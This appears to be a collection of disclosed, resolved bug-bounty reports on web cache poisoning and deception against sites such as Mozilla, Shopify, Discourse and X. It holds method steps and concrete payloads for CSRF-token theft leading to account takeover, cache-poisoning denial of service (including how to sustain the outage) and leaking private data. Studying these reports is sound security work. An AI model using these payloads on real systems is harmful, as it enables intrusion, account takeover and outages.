Linkpop's Amazon product fetcher parsed/normalized the supplied URL with a regex and cached the fetched product under a key derived from the path, but the origin (Amazon) resolves /dp/VICTIM/../ATTACKER to the attacker product. The attacker pre-warms the cache so the victim's legitimate /dp/VICTIM link resolves to the attacker's product.
Method
- Obtain two Amazon product IDs (victim's target product and attacker's product), neither yet cached.
- In an attacker Linkpop account, add an Amazon product using a traversal URL: https://amazon.ca/dp/[VICTIM-ID]/../[ATTACKER-ID] .
- This caches the attacker product under the normalized /dp/[VICTIM-ID] key.
- When the victim later adds their genuine https://www.amazon.ca/dp/[VICTIM-ID], the cached attacker product is displayed instead.
https://amazon.ca/dp/[VICTIM-PRODUCT-ID]/../[ATTACKER-PRODUCT-ID]
Insight — When a server fetches a user-supplied URL and caches the result, a cache-key vs origin-resolution mismatch on path traversal (/../) lets you poison one key with another resource's content. General primitive: any URL-normalization difference between the cache-key function and the upstream fetcher is a content-spoofing lever. Note: reporter confirmed the click-through redirect did NOT actually work; impact is limited to spoofing the displayed product.
Real-world example
Web Cache Deception -> CSRF-token leak -> email change ATO
◆ Low
Specimen #260697 · discourse · awarded · 58 votes · resolved
Program discourseSurface webChain Web Cache Deception -> steal CSRF token + username -> Tag cacheTag account-takeover
Root cause
Authenticated pages that embed the CSRF token and username lack no-cache headers; a CDN (CloudFlare) caches versions requested with a static extension (.css), letting an attacker in the same CDN region fetch the victim's token, then CSRF the email-change endpoint.
Method
- Force victim browser to request /u/<rand>.css (img tags) so CDN caches their authed page
- Server-side, refetch the same URL from the same CDN region to read the cached CSRF token + X-Discourse-Username
- Submit a cross-site email-change POST with the stolen token
- Confirm attacker's email -> account takeover
<img src="https://TARGET/u/RAND.css"><img src="https://TARGET/u/RAND.css" onerror="f()">
// server-side fetch of /u/RAND.css extracts csrf-token + X-Discourse-Username
POST /users/USER/preferences/email.json
_method=PUT&email=ATTACKER&authenticity_token=STOLEN_CSRF
Insight — Anti-CSRF tokens are only as safe as their cache headers. Look for token-bearing pages that return 200 on appended cacheable extensions (.css/.js) and lack Cache-Control/Pragma behind a CDN.
Real-world example
CPDoS via unkeyed X-Forwarded-Host header forcing a cached 404
◆ Low
Specimen #1976449 · mozilla · none · 55 votes · resolved
Program mozillaSurface webTag cdn
Root cause
The X-Forwarded-Host header is honored by the back-end (causing a 404/error) but is not part of the cache key. An attacker sends a request with a bogus X-Forwarded-Host; the resulting error response is stored and served to all subsequent users of that URL.
Method
- Send a request to the target page adding a cache-buster query param (to avoid real-user impact during testing).
- Add an X-Forwarded-Host header with an arbitrary/invalid value that makes the origin return an error (404).
- Repeat until the error is cached, then load the URL (cache-buster) in a clean browser and confirm the cached 404.
- For a real attack, drop the cache-buster and re-poison on an interval to keep the page down indefinitely.
GET /?my_cache_buster=test HTTP/1.1
Host: developer.mozilla.org
X-Forwarded-Host: XXX
Insight — Unkeyed request headers (X-Forwarded-Host, X-Forwarded-Scheme, X-Host, X-Original-URL) that influence the origin response are classic web-cache-poisoning inputs. Probe each with Param Miner; if it changes the response but not the cache key, you have a poisoning primitive (error page = DoS, redirect/host = broader poisoning).
Real-world example
HSTS cache: subdomain update overwrites parent entry (wrong keying)
◆ Low
Specimen #2764830 · curl · none · 49 votes · resolved
Program curlSurface desktop
Root cause
When persisting an HSTS policy for a subdomain, curl's cache write matched/updated the wrong entry, copying the subdomain's expiry onto the parent (and vice versa). A shared subdomain can thus alter the parent domain's HSTS lifetime.
Method
- Seed an --hsts file with a parent entry (short expiry) and a subdomain entry
- curl an HTTPS URL on the subdomain that sends Strict-Transport-Security: includeSubDomains
- Re-inspect the hsts file: parent expiry now overwritten with the subdomain's value
.badssl.com "20241101 00:25:31"
# curl -v --hsts ./testhsts.txt http://hsts.badssl.com/index.html (run twice)
# -> .badssl.com expiry becomes the subdomain's long expiry
Insight — When auditing cache/store code (HSTS, cookies, CORS, DNS, TLS session), check that the write path keys/matches on the exact same identity as intended. Sibling/parent/subdomain confusion in the key lets a lower-trust name poison a higher-trust entry.
Real-world example
Web cache deception via .css path confusion leaking PII and CSRF tokens
◆ Low
Specimen #1271944 · shopify · USD 800 · 48 votes · resolved
Program shopifySurface webChain WCD -> cached CSRF token -> CSRF protection bypassTag account-takeover
Root cause
The cache keys/caches responses by the file extension in the URL rather than the origin's actual Content-Type. Appending a random <name>.css segment (or an encoded slash) to an authenticated page makes the edge cache the personalized 404/page body, which embeds the user's name, email, profile picture and a valid CSRF token.
Method
- Take an authenticated page that echoes user data (help center account page, error page).
- Append a random filename with a cacheable extension using path confusion, e.g. /copyright-and-trademark/abcdefg.css .
- Lure the authenticated victim to open it; the edge caches the personalized response as if it were a static CSS file.
- Fetch the same URL with curl (no cookies) and read the leaked PII / CSRF token from the cached body.
- Variant: use an encoded slash (%25%32%46 -> %2F -> /) to smuggle path confusion past filters.
https://help.shopify.com/es/manual/your-account/copyright-and-trademark/abcdefg.css
# encoded-slash path-confusion variant (leaks API key on another subdomain):
https://hatchful.shopify.com/furniture-logo-maker%25%32%46random.css
Insight — Any endpoint that reflects user data and sits behind an extension-based cache rule is a WCD candidate. Test a battery of static extensions (.css/.js/.jpg/.png/.txt) plus encoded-slash path confusion; the leaked CSRF token also breaks CSRF protection downstream. Fix is to cache on real Content-Type, not URL extension.
Real-world example
Unauthenticated Varnish HTTP PURGE -> arbitrary cache invalidation
◆ Low
Specimen #2679440 · adobe · awarded · 43 votes · resolved
Program adobeSurface web
Root cause
A Varnish cache in front of the site accepts the HTTP PURGE (and often BAN) method from any client because the ACL restricting purge to internal IPs is missing/misconfigured, allowing an attacker to evict cached objects at will.
Method
- Identify Varnish (Via/X-Varnish headers, X-Cache).
- Send a PURGE request for a cached URL and observe a 200/purged response.
- Repeatedly purge hot objects to force origin load / cache-stampede DoS.
curl -i -X PURGE https://TARGET/some/cached/path
# also test: -X BAN , and BAN via headers
Insight — Against Varnish/Fastly/Nginx-cache, test the PURGE and BAN methods unauthenticated. Even without content injection, unrestricted purge is a cache-stampede DoS primitive; combined with cache poisoning it is worse. Purge ACL should be internal-only.
Real-world example
CPDoS via X-HTTP-Method-Override: HEAD caching an empty-body 200
◆ Low
Specimen #2860983 · mozilla · none · 24 votes · resolved
Program mozillaSurface webTag cdn
Root cause
The origin honors X-HTTP-Method-Override: HEAD and processes a GET as a HEAD, returning 200 OK with an empty body. The cache stores that empty 200 under the static resource's key, so the file (image/JS) becomes empty for all users.
Method
- Choose a cached static resource (image, or the single homepage JS bundle).
- Send a GET with header X-HTTP-Method-Override: HEAD (use a query-string cache-buster where the query is part of the cache key to test safely).
- The origin returns a 200 with empty body which is cached.
- Load the resource normally and confirm it is now empty/broken for everyone, breaking site functionality (DoS).
curl -H "X-HTTP-Method-Override: HEAD" "https://addons.allizom.org/static-server/img/addon-icons/default-64.d144b50f2bb8.png?dontpoisoneveryone=1"
Insight — Method-override headers (X-HTTP-Method-Override, X-HTTP-Method, X-Method-Override) can flip a cacheable GET into a HEAD/other verb at the origin while the cache still stores the result under the GET key -> empty-body CPDoS. Part of the CPDoS family (see cpdos.org/#HMO); pair with cache-buster query params only when the query string is actually part of the cache key.
Real-world example
Recover private/deleted content from preview cache via callback enumeration
◆ Info
Specimen #263760 · x · USD 1120 · 48 votes · resolved
Program xSurface web
Root cause
A search/widget preview endpoint caches responses and ignores no-cache request headers. Each JSONP callback name (tl_i1..tl_iN) is a distinct cache key, so stale cached results (including tweets that became private or were deleted after caching) can be replayed by iterating callback indices.
Method
- Open the widget preview request in Burp; note callback=__twttr.callbacks.tl_iN_preview_old
- Add Accept-Encoding: gzip, deflate, br to force the cached (compressed) variant
- Iterate N (i1..i200) to hit cache entries not yet overwritten with fresh data
- Read cached results for a now-private/deleted account
GET /widgets/timelines/preview?all_results=on&callback=__twttr.callbacks.tl_i<N>_preview_old&query=<target>&timeline_type=search&suppress_response_codes=true
Accept-Encoding: gzip, deflate, br
Insight — Preview/embed/oEmbed/widget endpoints frequently cache aggressively and honor JSONP callback params as cache keys. Enumerate the callback/index space and toggle Accept-Encoding/Vary inputs to surface stale snapshots of content that is now private or deleted.